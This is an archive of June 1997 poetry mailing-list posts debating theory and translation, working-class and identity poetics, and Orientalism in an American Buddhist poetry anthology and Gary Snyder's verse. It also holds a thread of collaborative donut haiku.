Re: long article up for criticism if yr up for it!

Wed 25 Jun 1997

Joe Amato -- both w.class ("Joe") & top-drawer? ("Amato" -- Italianate daliant -- W.Stevens' "scrivening amorist": amore [moon hitsyer eye] = amato -- a relation of Laurie Amat's? [SF performance musician; neh, unlikely]) . . . Joe says:

<< anyway, part of the issue i see in this thread has to do with the status of the real... i think the real still has real status... i use "real" here as a category (sometimes i'll write "actual," just b/c, as we all know, everything is real, or can be deemed so) . . . >>

Real walks into a restaurant
best believe the dude getsa table

from the other side ov the tracks?
nurture nature (birch beech)

like money on trees? sure shit man
actual leaves autochthonous article

can handle everyting like what if stuff
really happens? takes it in stride he's

got the scoop or did you really think
they call him real for idle courtesy?

whistling diction? re al i ty
check mate illusion credit

d.i.

↑ Index

713. **Tom Orange**
simic, theory vs. multicult
Wed 25 Jun 1997

---

one measure of the ways in which (primarily french) theory has enjoyed a "translational advantage" over other foreign-language writing (poetry, fiction, etc.) as a function of academic disciplinarity:

i was going thru early essays by j. hillis miller (collected in _theory now and then_, duke up 1991). the very first essay, "the antitheses of criticism: reflections on the yale colloquium" (1966, contemporaneous with the infamous johns hopkins gathering), states in no uncertain terms in the first paragraph, "for most of the participants part of the impetus for the next advances in literary study will come from one form or another of european criticism." then you get the essays on poulet and the geneva school. references to saussure marx nietzsche freud derrida deleuze do not appear until a 1972 essay, "tradition and difference."

e.g., he mentions in passing "'repetition' in the nietzschean sense of that term as it has, for example, been identified by deleuze in _difference et repetition_ or in _logique du sens_." -- with no ensuing explication of the very tortuous conceptualization contained in those texts, especially the former -- of course, neither of these texts had been translated into english yet, but the assertion is that one *should* know them if one doesn't already...).

witness too the praise heaped upon g. spivak for her translation of and especially her preface to _of grammatology_, she a more or less traditional yeats scholar up until that point. (and e. said, too, primarily a conradian...)

certainly very few foreign-language poetic/fictional/dramatic texts in translation could ever have enjoyed the uncritical, unquestioning embrace of north american english literature departments in the 1970s and 1980s.

and especially at graduate levels, at which point translated texts become more or less rejected outright as objects of study: let the comparative literature people worry about that.

comparative literature's major disciplinary crisis now of course is how to formulate responses to multicultural studies; here's miller again in his (1991) preface:
in this new and as yet almost unimaginable global economy we are entering, made one world by these new technologies, the isolated study of single national literatures will soon seem as outmoded as old-fashioned nationalisms themselves. [as well as the use of single national theories??]
such study must be replaced by multi-lingual and multi-ethnic disciplines of collective research and teaching. these new disciplines are themselves as yet hardly imagined, like the new world we are entering.

i guess we are to start imagining!

t.

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714. Kali Tal
Re: long article up for criticism if yr up for it!
Wed 25 Jun 1997

Kathy writes:

> *What is needed is a critical discernment which uses biography, social and historical contexts, and other factors as lenses through which to examine poetic works, not a process of labelling which conflates identity with poetic production that only succeeds in putting poems, and poets, into little boxes.*

Ummmm, yeah, sort of. I come from a background in African American and Women's studies, so I'm kinda committed to the notion that certain categories of identity exist, though I'll be the first to say that the boundaries of these categories are fluid and that their instability is an integral part of their definition--they are floating signifiers which diff groups wrestle over, trying to "fix" them for their own particular (race/gender/class) specific ends. So, Kathy, I'm hardly interested in sticking poems, or poets, or people into little boxes. Still, I find

generalizations useful, as long as it's clear that I'm not deeply invested in them and that I expect the ground to shift.

Quite a bit of my book, _Worlds of Hurt_ describes the pressures on "identity poets" and writers to generate narratives which conform to the normative identity group prescriptions (and proscriptions). I don't like those pressures, so I'd hardly want to enforce them on working class poets or anyone else. I think that the anthologies of working-class poetry Kathy mentions would be as vulnerable to my critique as were the anthologies of incest literature I slammed for their unconscious tendency to reinforce white middle-class racist values.

None of this means that "working class" is a useless descriptor. It merely means that we need to understand it as a complex concept signalling a constellation of social locations and cultural/economic influences. Working class origins are common to most of the Viet Nam veteran poets whose writing I admire. There's no straight line there; merely a correlation. Kathy's jump from my description of those poets to her own distaste for the search for a "women's language" is, in my opinion, not warranted. I don't think there's a "women's language" either (despite the fact I really like Dale Spender's essays and think Suzette Hadin Elgin's SF is great). I *do* think that there are correlations between being a female person and being oppressed in particular ways, and being allowed a certain range of *expression* but I also think that the forms oppression and expression take are shaped by (surprise) factors like race/class/culture.

It would never occur to me to define a particular person of working class origins as "not working class" because of the way they wrote or theorized. It's sort of like saying something a woman does is "unfeminine." In short, it's absurd--anything I do is feminine by definition, since I'm female--and it's the action of an oppressor. Instead, I'm interested in trends in working class writing, not in dictating format. My observations were categorical (based on the poets I know and with whom I work, and the working class scholars/critics with which I discuss that poetry) and not prescriptive. It's my job, as a critic, to make distinctions. I use them when I think they'll be useful.

Henry's comments about the "double edge" of poetry ring very true to me, and I find his dualist description ("You have to experience it. It comes from the sky") most useful. Henry's "universal" seems to me to be quite different from Thomas Bell's:

> *1. I think "good" writing hits universals and universals are usually found in the most intense personal experience (whether presented realistically or in fantasy (e. g., Conrad, Styron).*

I *don't* think good writing hits universals in that sense. I actually think that most good writing takes work to understand, and I do find Styron, particularly,

to be the sort of writer I'd call appropriative in ways I can only characterize as--for lack of better words--stupid and evil in a manner that only privileged white men in this culture are *allowed* to be stupid and evil. (And I know this last statement will evoke strong reaction. But, hey, that's how I see it.)

When I teach, for example, Morrison's _Song of Solomon_, my biggest job is convincing my mainly white, usually middle- to upper-class students that they do *not* understand the book, that there is an entire dimension (the black cultural/literary dimension) to which they they are almost wholly blind, and that taking the time to *learn* to read Morrison will pay off because it will make them more complex, more perceptive human beings in the long run, they will get a lot more jokes, and they may even make better political decisions because of what they have learned. Styron (and writers like him) give white, privileged readers the *impression* that they understand what is going on in "alien" minds, but they don't have the discipline/respect to pay attention to what folks who belong to the culture they represent are *actually* writing, thinking, feeling, seeing. I mean, _Confessions of Nat Turner_? Really....

And, Eliza, I do know Weigl's poetry--even know Weigl, though merely in passing, as a table-mate at conference dinners. I consider his work to be carefully wrought, but more self-consciously literary (more in the MFA loop, I suppose) than the writing I like best. He and John Balaban are the most celebrated Vwar poets, like Tim O'Brien and Robert Olen Butler are the most celebrated Vvet novelists, but in all of their cases, I find that the ultra-refined nature of their work actually undercuts the message that they are ostensibly trying to get across. I like their early works best, and find that at each remove, the intensity and the clarity of the poems are dimmed, though structurally they are more elegantly contrived. Actually, the vet poetry you heard/read at the Joiner Center's writing workshops is probably mostly the sort of vet poetry I *don't* much care for, though a few writers I admire are in regular or semi-regular attendance (Ehrhart and Leroy Quintana come to mind immediately). In answer to your other question--about the reaction of people to whom I send rejection slips--I do find that they sometimes write back. But I take a lot of time with my rejection letters (which is one reason why I'm almost a year behind in my editorial responses) and I find that people react positively to letter which explains clearly what I think works or doesn't work about a poem. If they agree with me, they can revise. If they don't agree, they can blow me off. Works out pretty well. Can't say that I've received more than 2-3 huffy responses in almost ten years of editing _Viet Nam Generation_. Don't know what conclusion to draw from that, but there it is. And I'm still curious about why the bad incest poetry bugs you so much. I mean, bad Vwar poetry doesn't *bug* me like you seem to be bugged. I just don't publish it.

For someone who wants others to read her carefully (a reasonable desire, and one I try to fulfill), you don't seem to be reading me very carefully. You write, in apparent response to me:

> *by the by, point about privileging more "important" types of experiences, i.e. poem about vietnam automatically more "important" than poem about swimming is, i think, the heart of a dangerous fallacy.*

I was quite careful about stating that poetry about traumatic events in the life of the writer was *not* better or worse than other writing, but merely different. The only time *I* used the word "important" was in reference to the feeling of the author of a certain type of VWar poetry that the most "important thing" is "to make other people SEE/READ" the impact of that war. My comment follows:

> *A poem about swimming (which, of course, really *isn't* about swimming, or not in the way that we usually think of swimming) just isn't the same. Can be good, even great. But not the same. These poets I'm talking about, they aren't waving; they're drowning. And that makes all the difference.*

As I said--I thought--clearly, I do not think all poetry about traumatic events is "good" poetry, so it's pointless to take me to task for that. It doesn't seem to me to be an either/or proposition. I *like* poems about swimming, value them. Why does making distinctions between them mean that I have to *choose* between them or privilege one over the other?

> *employment, not birth. the kali tal who has academic job at yale is, indeed, considered in class many steps above laboring slob who does secretarial/administrative work and works as nurse's aide. same kali tal enjoys automatic respect, privileges, social assumption of "eligibility" for all sorts of things working jane gets snubbed for, be working jane ever so erudite!*

Errrr, that would be some *other* Kali Tal. This particular Kali Tal is an underemployed part-time academic living in Tucson. She codes HTML and does freelance writing to pay her bills, shares a house with students cause she's too broke to live alone, and tries to keep a nonprofit press afloat with no institutional support. None of the above erases her born-with-a-silver-spoon sense of upper-class privilege--the kind of privilege that years of poverty can never entirely undo.

I didn't (and don't) make any assumptions about the class of any poet on this list--some I know and thus my opinion is not based on assumption; others I don't know but I have seen reference to their class status in their own posts or other writings. Why so touchy on the whole issue? Surely it's a reasonable subject to broach. The writers you name--Grahn, LeSeur, Olson--all self-identified/identify specifically as working-class writers, which of course does not mean that they are incapable of complex and even jargon-filled writing (though they generally did not/do not indulge in the latter, I'd argue, specifically for ideological

reasons). I think that you are reading/seeing in my texts only the hooks you are looking for, instead of paying attention to the words that are actually on the screen in front of you. Which leads me, again, to ask: why is this all so loaded?

Kali

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715. George Bowering
Re: grad school and the writers union
Wed 25 Jun 1997

> *Has anyone ever taken a count of writers (serious writers--who'll do it no matter what) who are in the academy and out? I'd be willing to bet most are out. The in-ones might be more visible, but are they a majority, really?*
>
> *DT*

Well, let's look at the generation just before mine. The writers inside the academy include Robert Creeley, Charles Olson, Ed Dorn, Robert Kelly, Amiri Baraka, Jerome Rothenberg, D.G. Jones, Louis Dudek, Robin Blaser, Allen Ginsberg, Anselm Hollo, Archie Shepp. William Eastlake, not many women.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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716. KENT JOHNSON
Orientalism: reply to Dean Brink
Wed 25 Jun 1997

> *On June 24, David Brink wrote, in reply to Hoa Nguyen:*

> I was clearly attacking the premises for the anthology _Under a Single
> Moon_ and the blatant Orientalism in Kent Johnson's postings in general.
>
> My main point was and is that Johnson represents a mainstream
> (affiliated or not with New Age phenomena) that naturally thinks that
> the aesthetic values, by which he judged the inclusion of an all-white

> cast of poets and exclusion of Asian-American poets, are not a form of
> bias. This bias is at best in bad faith, and at worst racist (but I
> agree that "racism" is too strong a word).
>
Dean:

Your reply to Hoa, from which I excerpt here, is very different in tone and substance from your initial diatribe against the personal integrity and artistic worth of those associated with the Shambhala anthology. Your last is quite a bit more reasoned and productive of useful discussion. Still, you make unsubstantiated charges and seem confused on some key points, and I want to point these problems out, because my calling attention to them in the first place was what sprung this many posted thread:

1) A question to start: Can you please enlighten me re: the "blatant Orientalism" in my "postings"? This is something new, since I don't recall you charging that there were any "Orientalisms" in my two posts per se, but rather in the book. So far as I can tell, _you_ are the only one whose posts have been clearly deconstructed--by Nguyen--for their unacknowledged orientalist biases. I am directly asking you, then, since you make the specific charge, to undertake a close reading of my postings on this matter, and to elucidate precisely where my remarks on the BaSM anthology betray "blatant Orientalism." I am honestly open to consider that my words, like yours, hide paternalistic and patronizing views. But you must show how they do and not just make the accusation--hasty accusations without supporting evidence are the very reason we are talking right now.

2) When you say that

> *"Johnson represents a mainstream (affiliated or not with New Age phenomena) that naturally thinks that the aesthetic values, by which he judged the inclusion of an all-white cast of poets and exclusion of Asian-American poets, are not a form of bias. This bias is at best in bad faith, and at worst racist,"*

you reveal the basic misunderstanding (which is also shared by Joe Duemer, btw, who admits he hasn't read the book!): You see--and I say this for the third time--if you and Walter Lew had more or less carefully considered the book, you would have quickly seen that the anthology has rather specific parameters for inclusion that actually have little to do with our editorial "aesthetic values"! That is (and read carefully here, please) we only considered for inclusion those poets who were known to have a background in Buddhist study and practice. (tho we were not doctrinaire about the definition of those last two terms, and I would say actually that any "second edition" would definitely want to be more rigorous about those parameters.) The poets, through their affiliation with Buddhism, "selected themselves," and then we allowed them to select their own

poems! Paulenich and myself were largely modest and non-judgemental compilers.

Aesthetic values? Any cursory look at the book will show that it is one of the most aesthetically eclectic poetry anthologies ever done, and this is one of its interesting points: Jackson Mac Low, Steve Benson, and John Cage, for example, in the same anthology with, say Jim Harrison, Jane Hirschfield, and Sam Hamill! During the three year course of putting the anthology together--a process that was greatly dependent on seeking out potential names from others--we did not hear of *any* Asian American poet with a past or ongoing personal practice in Buddhism. No Asian American poets were excluded, therefore, because we didn't like their poems. They were "excluded" because A) We were ignorant of Asian American poets who met the parameters we had set for the book, or B) there were Asian American writers with Buddhist practice who were aware of our open solicitation for potential contributors and chose not to submit their work. (I do not know if this is the case, but it may be.)

One could say, and very responsibly, that our acknowledged ignorance in "A" reveals a more complex problem (i.e. the relative invisibility, if you will, of Asian American poets in a culture suffused with Orientalism), but this is something very different from the libelous framing of your initial and ill-argued remarks--or from your comment above that we set out to construct a "white" anthology in "bad faith." You see, Dean, your indignation is built on a series of assumptions you have made without really looking into the facts in a responsible way. I'd like to suggest that the rush to mean-spirited judgement that you and others have made about the book, its editors and contributors, has institutional causes that need as much honest scrutiny as your academic framing of what you perceive to be the problem with _Beneath a Single Moon_ (not "Under" btw).

Further on you say (and I promise to wrap it up here):

> What needs to be discussed perhaps is the role of Buddhist rhetoric in
> an American poetic discourse that has been stimulated by Buddhism for
> roughly a century. It was certainly Orientalist, exoticizing initially.
> When did this stop? What is the role of the shifts of power and cultural
> clout over the years and around the Pacific? American-style
> Buddhist-based poetics may enjoy an integral duplicity: while the
> Western lyric subject displays an understood sense of a logocentric
> context, it would be interesting to trace the development of the
> (rhetorical) dispersion of subject in American Buddhist-inspired poetry.
> What rings as being in "bad faith" is the appropriation of an image of
> Asia that exists for the pleasure of the poet? When the Johnson post
> came up, it was an opportunity to open up this can of worms.
>

Now some of these remarks are very good ones, and I wish you had started out this way a few days back. These *are* issues that need strong investigation, and some of the people in the forefront of exploring them are North American poets who happen also to be Buddhist. In fact, if you look at the Shambhala book, I think you might find essays there that engage the contours of the above issues with a fairly high-degree of self-reflexiveness. But what I find in "bad faith," Dean, is your apparent assumption that the poets in the anthology are appropriating "an image of Asia" through the mere fact of their being in an anthology of Buddhist poets! Let me ask this simple question to conclude: IF it had turned out that there was representation of Asian American poets in BaSM, would you still judge the poets as "appropriating an image of Asia"? If you say yes, then it would behoove you to show, TEXTUALLY, how; if no, then I'm afraid your whole argument against the anthology collapses into a heap of hypocrisy.

I don't mean to sound so annoyed, but I guess I am.
Kent Johnson

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717. Stephen C. Ellwood
Personal Identity as text vs Stands On Its Own
Wed 25 Jun 1997

I just wanted to register my agreement with Kali Tal's description of the importance of the identity of the author. To me reading poetry and prose, and perhaps to an even larger extent looking at visual art, is a project of untangling the personality/personal insecurities etc. of the author first and foremost. That's why I hate formalim; the work does speak volumes about personal insecurity, but there is a key (like a key on a map) that you must understand in order to do the untangling, and that requires a lot of faith that it'll be worth the time it takes to learn the (rather lengthy) key. In order for a work to be seductive to me it must provide both hints and cultivate mysteries about its maker. I don"t believe that there is either pleasure or common sense in trying to keep the two (Work and Maker) seperate. I hope people don't approach my work as an entity seperate from the identity I live with/construct.

Sincerely,

Emily Vey Duke.

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718. **Stephen C. Ellwood**

Re: Buddhism and racism

Wed 25 Jun 1997

Just because Buddhist practice is hard (and yes, my ass has borne some long hours on the cushion as well) does not mean Buddhists, esp. white western ones (like me) don't have to be extremely diligent, and, dare I say it, mindfull around the issue of Orientalism. I have seen my share. I believe it's a disease, and a highly contagious one, in the buddhist communities I have witnessed here in Halifax and in the US. Just because we are supposed to give up material attatchment doesn't mean we are absolved of our responsibility to the be agents of change.

On Tue, 24 Jun 1997, Judy Roitman wrote:

> *And if Dean Brink had run into some Chinese monks indulging in a little IndianSubContinentalism 1000 years ago by, horror of horrors, actually writing poems informed by their Buddhist practice --- what would he have said then?*
>
> *Complain about the editors' hyperbole, complain about the editorial decisions, but you'd better believe this little Russian American Jewish [not Christian, oh no] Buddhist who's sat hard on the cushion for over 20 years in sanghas which include Chinese, Japanese, Korean (and Chinese-American, Japanese-American, Korean-American] members as both students and teachers is not "purvey[ing] the myth of the Christian missionary superiority as it expropriates candy Buddhism."*
>
> **Candy* Buddhism? What kind of candy is that? Buddhist practice is fucking hard, buster. No feel good shit, no way. Your teeth will break into smithereens on that kind of candy, for sure.*
>
> ---
> *Judy Roitman | "Whoppers Whoppers Whoppers!*
> *Math, University of Kansas | memory fails*
> *Lawrence, KS 66045 | these are the days."*
> [redacted] | *Larry Eigner, 1927-1996*
> ---

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719. **Dean A. Brink**

Re: Buddhism and Racism

Wed 25 Jun 1997

In reply to Hoa Nguyen:

I don't think you are being fair in your criticism of my posting. First, I was not attacking Buddhism (I have more Buddhist bones in my atheistic body than Christian ones, have "sat" and am fairly well-read in various texts from Dogen in the original Japanese and Chinese to D.T. Suzuki). My mother's funeral was conducted by an American Buddhist who I deeply respect (who is Caucasian for those interested). Actually, when inspired I even write "Buddhist" on forms, under religion. My own thought and interest in Japan arose in part out of my interest in cultures that do not exhibit the closed matrices of logocentrism. But Buddhism is not my field. Japanese poetry is.

I was clearly attacking the premises for the anthology _Under a Single Moon_ and the blatant Orientalism in Kent Johnson's postings in general.

My main point was and is that Johnson represents a mainstream (affiliated or not with New Age phenomena) that naturally thinks that the aesthetic values, by which he judged the inclusion of an all-white cast of poets and exclusion of Asian-American poets, are not a form of bias. This bias is at best in bad faith, and at worst racist (but I agree that "racism" is too strong a word).

The ax I am grinding is one of someone frustrated with the historical aporia that has contributed to stereotyping, both in everyday life (experienced by me with my Japanese friends) and in the proliferation of books of Japanese poetry that reinforces an image and even language (in our heritage of Orientalist translations) of nature-worshipping, overflowing with "Buddha nature," and passive (when I see none of these things in Japanese).

Hoa Nguyen wrote:
Brink said:
"I find this discussion about the place of Buddhism in American poetry

to be representative of the mainstream - from Gary Snyder to any number of poets that employ Asian imagery for superficial exotic effects. We need to turn the anthropological eye back on the non-Asian Americans who have convinced themselves that they are the superior, true Buddhist poets of the day."

This assertion itself is lacks the very "anthropological eye" that the

writer calls for-- indeed what is "Asian imagery"? Rice paddies, water
lilies?

How could I more clearly spell out the ironic dismissal of "Asian imagery" than by
following it with "_for superficial exotic effects_."

I do not know which Americans he is referring to as being
"convinced of their superiority as true"-- I know that Phillip Whalen,

whose health is failing along with his eye-sight at the Zen center where
he is abbot, could not be held guilty of this. Nor could his poetry.

May I state that the issue, for me at least, is one of poetic discourse not religion. Religion takes many forms, none better or more valid than another. I'm sorry to hear about Phillip Whalen, whose poetry I admire very much. What I was trying to introduce in passing was a contradiction in much American poetry that positions itself as "Buddhist." Not all poetry, but certainly Gary Snyder's, for he more than anyone has developed a voice that has been replicated manifold by other poets. The contradictions that I see in the _poetic discourse_ associated with Snyder are between the minimalist clarity (a "less is more" moralism that elevates inaction and subject-distancing effects) and an American discursive context for the ahistoricizing mix of rhetorical devices expropriated from Buddhist literature. As a random example I opened Snyder's _No Nature: New and Selected Poems_ to "The Canyon Wren," which cites Dogen (a major figure in the founding of the Japanese Soto sect of Zen Buddhism) and concludes:

"We beach up at China Camp
Between piles of stone
Stacked there by black-haired miners,
    cook in the dark
    sleep all night long by the stream.

These songs that are here and gone,
Here and gone,
To purify our ears."

An exotic image of Asia and Asians figure large here, no? The distance between the romantic vision of laborers as they camp as tourists/pilgrims/hikers suggests what? The last stanza suggests the Buddhist flux of all phenomena, including words and song, purifies our ears, which may or may not be read as underscoring a redemption.

Hoa Nguyen:

I agree that Orientalism is often unacknowledged in American *anything*,
including poetry.

"Who gains from this? Certainly it does Asian-Americans no good."

What? My only response to this is "SAYS YOU!!" But seriously, I am frustrated by this smug paternalistic attitude.

I am sorry if my attitude offended you. I was trying to maintain a certain voice perhaps for the list(s). I would love to try to clarify why I think it does Asian-Americans no good. The answere is rather standard: because Orientalism exoticizes and situates Asians as (often sexual) objects without the self-determining power of a subject (which is why you are attacking me, for apparently speaking for Asian-Americans {so...I should just shut up...}).

But also, the attributed "paternalistic attitude" (I'm not that old, first time to be
associated with this) is really more of a rebellious attitude, a refusal to partake in
the manna of Orientalism, both as a student of Asian culture and as an American
writing and translating poetry. I am rebelling against Snyder, and the ideology of
New Age consumerism. I will not dismiss Snyder altogether, but wish to question and explore the rhetorical positions he has developed.

"Poetry by Asian-Americans tends to include poetry highly conscious of

stereotypes, orientalism, racism, and the many ironies born of the ahistorical ignorance exhibited in Kent Johnson and his associates."

I am sorry to break Mr. Brink tidy bubble of how Asian Americans tend to be-- (as a representative of the not-so-model-minority)-- but Asian-Americans can model the very stereotypes that are offered as models of Asians-- Frank Chan, in his foreward to __ The Big Aiiiiiiii!__, was in fact, highly critical of fellow Chinese American writers such as Maxine Hong Kingston and Amy Tan for what he read as embracing the white-Christian assumptions about the misogynistic and incompetent Chinese male character. And Garrett Hongo's _Open Boat_ anthology was equally criticized for its narrow aesthetic decisions for it excluded experimental writing by Asian-Americans, which, it was contended, furthered an image of what Asian Americans wrote like-- traditional, narrative, image-driven lyric.

I have no tidy bubble (I carefully stated "tends to include"), and am
aware that there are Asian-American poets who buy into stereotypes and even Orientalism.
My assertion is based in part on my readings of _Premonitions_ and _The Open
Boat_, which by any standards surely engage rather than censor

historical issues of
experiencing racism and stereotyping.

What needs to be discussed perhaps is the role of Buddhist rhetoric in an American poetic discourse that has been stimulated by Buddhism for roughly a century. It was certainly Orientalist, exoticizing initially. When did this stop? What is the role of the shifts of power and cultural clout over the years and around the Pacific? American-style Buddhist-based poetics may enjoy an integral duplicity: while the Western lyric subject displays an understood sense of a logocentric context, it would be interesting to trace the development of the (rhetorical) dispersion of subject in American Buddhist-inspired poetry. What rings as being in "bad faith" is the appropriation of an image of Asia that exists for the pleasure of the poet? When the Johnson post came up, it was an opportunity to open up this can of worms.

One more point of interest is the role of "one hand clapping," an image that enjoys mythic stature in American _poetry_. Isn't part of its appeal that it resonates with a high-sounding Christian tone and the very dispersal of logocentric authority?

Oyasumi nasai.
--

db
abd EALC UChicago
[redacted]
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720. **Mark Weiss**
Re: grad school and the writers union
Wed 25 Jun 1997

What's the point, George? Either these folks (none schooled in the craft in universities, I think) have taught because it's their and the academy's nature or it's a good gig for the otherwise marginally employable (myself at times included).

At 11:17 PM 6/24/97 -0700, you wrote:
>>
>>Has anyone ever taken a count of writers (serious writers--who'll do it no
>>matter what) who are in the academy and out? I'd be willing to bet most are
>>out. The in-ones might be more visible, but are they a majority, really?
>>
>>DT
>>

>
>Well, let's look at the generation just before mine. The writers inside the
>academy include Robert Creeley, Charles Olson, Ed Dorn, Robert Kelly, Amiri
>Baraka, Jerome Rothenberg, D.G. Jones, Louis Dudek, Robin Blaser, Allen
>Ginsberg, Anselm Hollo, Archie Shepp. William Eastlake, not many women.
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>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]
>
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721. **David Israel**

Re: Buddhism and Racism

Wed 25 Jun 1997

Dean A. Brink --

I've read, with interest, your response to Hoa Nguyen. You might note that meanwhile (or rather earlier -- last night) I posted something in the manner of a response to Hoa's response to your post. I shd. search to see if I have your original post -- I've the odd idea that I've only read it as cited (responded to) -- but in any event, you do, I'd say, somewhat clarify your p.o.v. in the most recent missive -- and the specific focus on Gary Snyder has, at least, the advantage of boiling down to some particulars what -- in the form of generals (or what might seem over-generals) -- is rather harder to figure one's way into.

Unfortunately, time at the moment is quite short, but I do want to dash out a few words on what we could (at this point, maybe) call the Snyder controversy. I'd like to remark that I feel you have mis-read this poet; or at least, that your reading differs tremendously from mine.

So happens, I first became aware of the name of Gary Snyder (in the 70s) because of his translations of the Chinese poet Han Shan -- later, I learned that he had also written his own work, and gradually came to acquaint -- and to like --

what he had done. In your reading of a few lines from _No Nature_, you seem to think that he's discussing an Asian image. I feel he's presenting a Californian image. You write:

<< As a random example I opened Snyder's _No Nature: New and Selected Poems_ to "The Canyon Wren," which cites Dogen (a major figure in the founding of the Japanese Soto sect of Zen Buddhism) and concludes:

"We beach up at China Camp
Between piles of stone
Stacked there by black-haired miners,
    cook in the dark
    sleep all night long by the stream.

These songs that are here and gone,
Here and gone,
To purify our ears."

An exotic image of Asia and Asians figure large here, no? >>

NO, rather, an image of camping out in California. True, the poet's manner of approaching (seeing -- articulating about) the campground is informed by his thinking-through of a contemplative (and literary) tradition -- but what distinguishes these lines it the radical attempt to make all that his own, to discover the source of the weave in his own life & experience and in the world of his immediate surround. The "nature images" are not Asian -- they're of what the poet literally saw in front of his literal nose. The imagination that organizes them as observation & recollection & thought -- is an imagination that has digested Buddhist traditions and sought to find the source of those traditions in the world (outer and inner) that is literally in front of the poet's nose. I don't happen to know where "China camp" is located, but I'll bet you five bucks it's not in China.

What -- for me -- distinguishes Snyder from (maybe) some prior generations of travelers-to-the-east (though that'd need to be looked at carefully) is his interest (everywhere evident) to integrate Asian studies with his own lived experience. I'm sure this is related to what bugs you about him -- and don't right now seem to know how to properly elucidate or distinguish the difference between what you feel he's up to, and what I find he's embarked on, except to note that -- as in the above -- his endeavor is to walk down a parallel line with forebears in a tradition, not simply to borrow words & phrases. The "to purify our ears" line is, seems to me, a specific allusion from Chinese poetry -- which I can't seem to call up in its particularity. Oh yes. Something about one of those legendary sage figures in Chuang Tse who, when he was approached by those from the outside world with the plea to help run the government, responded by washing his ears in the stream -- to wash out the very notion of getting entangled in

ruling others (rather than quietly seeking his own course under heaven). It's actually a pre-Buddhist image from Chinese literature, to tag it at its origins, -- at least that's my sense of that line; one could perhaps check with Snyder to see if he recalls having the Chuang Tse passage in mind when he wrote it. Chuang Tse -- sure it's Asian in its origins, but Snyder is imagining himself into a rapport with many strands of contemplative tradition, and I don't find his manner of doing so offensive, nor quite understand why thinking through a line from Chuang Tse is more suspect than thinking thru a line from, say, Socrates. It's simply a question of imaginal affinities -- so important to any poet, no?

Anyway, this is an attempt to take up a small corner of this dialogue -- not at all to cover its large areas, but merely to make a little basecamp observation on its mountain sprawl. There's more that could be said by way of a modest defense of Kent J. & the Beneith anthology, I feel -- but can't go further down that road just now . . .

Happy to learn of your interesting-souding interest in these matters, and certainly look forward to seeing what you may have on offer in terms of translations from Japanese (etc.) . . .

cheers
d.i.

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 .....
 ............
 \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\/////\\\\\
   >    david   raphael   israel    <
   >>      washington  d.c.      <<
 | ▇▇▇▇▇▇▇      (home)
 | ▇▇▇▇▇▇▇      (office)
 ==========================
 |   thy centuries follow each other
 |   perfecting a small wild flower
 |                                (Tagore)
 ////////////////////////////////////////\\\\\/////
```

↑ Index

722. **Maria Damon**

Re: long article up for criticism if yr up for it!

Wed 25 Jun 1997

---

i must say i agree w/ kali on most counts here. i haven't said this for a while, but i used to say it often here, i don't think, w/ duncan, that there are "good and bad poems." i find it uninteresting to evaluate work solely (if at all) by its

"literary merit," whatever that means. i tend to think of things as "interesting" or "boring," and of course those categories are highly dependent on context, what i know of the poem, poet, or cultural work the poem does or intends. in one context a work is interesting, in another, it's boring or seems out of place. furthermore, i take some issue with the concept that "background" (a word that itself subordinates certain kinds of information) is an extraneous add-on (my students often have mixed responses to my historicizing --it's either "helpful" or it doesn't leave enough time to dscuss the "actual poems" --but i keep trying to say that this isn't "background," this is *it*). i also understand, though, that practitioners have different investments in poetry from critics lke myself, and may have strong feelings about seeing poets whose work they do not respect getting critical attention. still, there's enough kudos and appreciation to go around. let's not let this scarcity mentality prevent us from enjoying a full spectrum of poetic activity.

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723. **David R. Israel**

Re: more haiku-gram

Wed 25 Jun 1997

[d.i.]:

forget the spam-po
what I'd really like to see
is donut haiku

buttermilk sugar
they knead me & they fry me
none taste the center

[Steven Marks]:

the center holds holes
something to nibble around
no mess on my hands

[d.i.]:

without the coffee
a donut is not done here
darkness to imbibe

[s.m.]:

nut to do but dough
coffee from a hell of beans
my do-dough dissolves

[d.i.]:

nonesistence hides
in the very word donut
nut signifies naught

[Katherine Lynes]:

yellow innards splooch
bavarian dive bomber
cannot hold center

[d.i.]:

and what about do?
do of course signifies dough
a dough-naught for you!

[D.P. Salmon]:

do-ough a de-ar
a whole in one
raison drops in bun

[Randolph Healy]:

Sphere before torus
when the centre was not holed
goodbye nut hi ring

[L. MacMahon]:

batter my heart and
artery o sweet and fat
confectionary

[Hugh Steinberg]:

I love everyone
says the old cop on his beat
let 'em eat donuts.

[d.i.]:

no start & no end
till you yourself nibble the
do (history) nut

[s.m.]:

from naut- to navel
my do-naught, my omphalos
which one to fill up?

[d.i.]:

sometimes dear madam
a donut's just a donut
remarked Sigmund Freud

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724. **David R. Israel**
Re: Personal Identity as text vs Stands On Its Own
Wed 25 Jun 1997

Emily Vey Duke observes:

> *I just wanted to register my agreement with Kali Tal's description of the importance of the identity of the author. . . .*
> *. . . In order for a work to be seductive to me it must provide both hints and cultivate mysteries about its maker. I don"t believe that there is either pleasure or common sense in trying to keep the two (Work and Maker) seperate. ...*

indeed. Delight in literature & other arts oftentimes involves the delight of discovering the look & feel of a person (personality / sensibility / mind / etc) in its own terrain. But many of the consciously arcane traditions & artists (e.g., Magritte) offer this delight in particular abundance (even if they make one work to find the "key" as you suggest). True of much LangPo too.

d.i.

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725. **Robert Archambeau**
Simic, Insularity, Theory
Wed 25 Jun 1997

Aldon Nielsen wrote:

> *Had Simic argued simply that the Yasusada affair evidenced a certain regretable insularity among American readers and writers I would have no objection -- but that is hardly the issue here -- Is it a matter of fact that, say, fewer American grad. students read Serbian verse now than earlier, ans is that demonstrably attributable to the "rise" of theory, etc. -- and in any event, how would that authorize the reprehensible misrepresentations of "theory" found in those Boston Review letters?*

I think we all agree that American insularity has been around for quite a while (no one said otherwise), but while that insularity has been somewhat eroded in recent years with regard to theoretical writings, the same can't really be said for other writing. Simic's attribution of causality here is certainly questionable (as I argued before), as are his statements about theory. But for all its flaws, his letter draws attention to the important and very real issue of an incongruity between a willingness to reach out to the world for theory, and a refusal to do so with regard to poetry.

IE: I (like Nielsen) disagree with Simic's evaluation of theory. But I believe Simic is right in one regard: that there is a general sense in English Departments that it is urgent for us to know about what's happening elsewhere in theory, without the corresponding notion that it is urgent for us to know about what's happening elsewhere in poetry (the notion receives lip service but little more).

